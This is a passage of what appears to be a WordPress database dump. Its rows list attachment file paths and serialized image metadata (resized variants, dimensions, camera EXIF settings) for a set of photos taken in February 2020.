(191,148,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:2560;s:6:\"height\";i:1920;s:4:\"file\";s:41:\"2021/07/IMG_20200224_160758336-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_160758336-300x225.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:225;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_160758336-1024x768.jpg\";s:5:\"width\";i:1024;s:6:\"height\";i:768;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_160758336-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_160758336-768x576.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:576;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_160758336-1536x1152.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:1152;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_160758336-2048x1536.jpg\";s:5:\"width\";i:2048;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_160758336-1568x1176.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:1176;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582560478\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"100\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_160758336.jpg\";}'),
(192,149,'_wp_attached_file','2021/07/IMG_20200224_160811793-scaled.jpg'),
(193,149,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_160811793-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_160811793-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_160811793-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_160811793-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_160811793-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_160811793-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_160811793-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_160811793-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582560491\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_160811793.jpg\";}'),
(194,150,'_wp_attached_file','2021/07/IMG_20200224_160952087-scaled.jpg'),
(195,150,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_160952087-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_160952087-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_160952087-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_160952087-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_160952087-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_160952087-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_160952087-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_160952087-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582560591\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"100\";s:13:\"shutter_speed\";s:17:\"0.016666666666667\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_160952087.jpg\";}'),
(196,151,'_wp_attached_file','2021/07/IMG_20200224_161041757-scaled.jpg'),
(197,151,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:2560;s:6:\"height\";i:1920;s:4:\"file\";s:41:\"2021/07/IMG_20200224_161041757-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_161041757-300x225.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:225;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_161041757-1024x768.jpg\";s:5:\"width\";i:1024;s:6:\"height\";i:768;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_161041757-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_161041757-768x576.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:576;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_161041757-1536x1152.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:1152;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_161041757-2048x1536.jpg\";s:5:\"width\";i:2048;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_161041757-1568x1176.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:1176;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582560641\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"100\";s:13:\"shutter_speed\";s:17:\"0.016666666666667\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_161041757.jpg\";}'),
(198,152,'_wp_attached_file','2021/07/IMG_20200224_161316872_HDR-scaled.jpg'),
(199,152,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_161316872_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_161316872_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_161316872_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_161316872_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_161316872_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_161316872_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_161316872_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_161316872_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582560796\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:17:\"0.033333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_161316872_HDR.jpg\";}'),
(200,153,'_wp_attached_file','2021/07/IMG_20200224_161332787_HDR-scaled.jpg'),
(201,153,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_161332787_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_161332787_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_161332787_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_161332787_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_161332787_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_161332787_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_161332787_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_161332787_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582560812\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:5:\"0.025\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_161332787_HDR.jpg\";}'),
(202,154,'_wp_attached_file','2021/07/IMG_20200224_172959137-scaled.jpg'),
(203,154,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_172959137-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_172959137-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_172959137-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_172959137-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_172959137-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_172959137-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_172959137-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_172959137-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582565399\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_172959137.jpg\";}'),
(204,155,'_wp_attached_file','2021/07/IMG_20200224_173046915-scaled.jpg'),
(205,155,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_173046915-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_173046915-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_173046915-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_173046915-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_173046915-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173046915-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173046915-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173046915-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582565446\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:5:\"0.025\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_173046915.jpg\";}'),
(206,156,'_wp_attached_file','2021/07/IMG_20200224_173115760-scaled.jpg'),
(207,156,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_173115760-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_173115760-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_173115760-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_173115760-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_173115760-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173115760-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173115760-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173115760-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582565475\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:17:\"0.016666666666667\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_173115760.jpg\";}'),
(208,157,'_wp_attached_file','2021/07/IMG_20200224_173423582_HDR-scaled.jpg'),
(209,157,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_173423582_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_173423582_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_173423582_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_173423582_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_173423582_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_173423582_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_173423582_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_173423582_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582565663\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"64\";s:13:\"shutter_speed\";s:18:\"0.0068493150684932\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_173423582_HDR.jpg\";}'),
(210,158,'_wp_attached_file','2021/07/IMG_20200224_173432115_HDR-scaled.jpg'),
(211,158,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_173432115_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_173432115_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_173432115_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_173432115_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_173432115_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_173432115_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_173432115_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_173432115_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582565672\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"500\";s:13:\"shutter_speed\";s:17:\"0.033333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_173432115_HDR.jpg\";}'),
(212,159,'_wp_attached_file','2021/07/IMG_20200224_173548773-scaled.jpg'),
(213,159,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:2560;s:6:\"height\";i:1920;s:4:\"file\";s:41:\"2021/07/IMG_20200224_173548773-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_173548773-300x225.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:225;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_173548773-1024x768.jpg\";s:5:\"width\";i:1024;s:6:\"height\";i:768;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_173548773-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_173548773-768x576.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:576;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173548773-1536x1152.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:1152;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173548773-2048x1536.jpg\";s:5:\"width\";i:2048;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173548773-1568x1176.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:1176;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582565748\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_173548773.jpg\";}'),
(214,160,'_wp_attached_file','2021/07/IMG_20200224_173602089_HDR-scaled.jpg'),
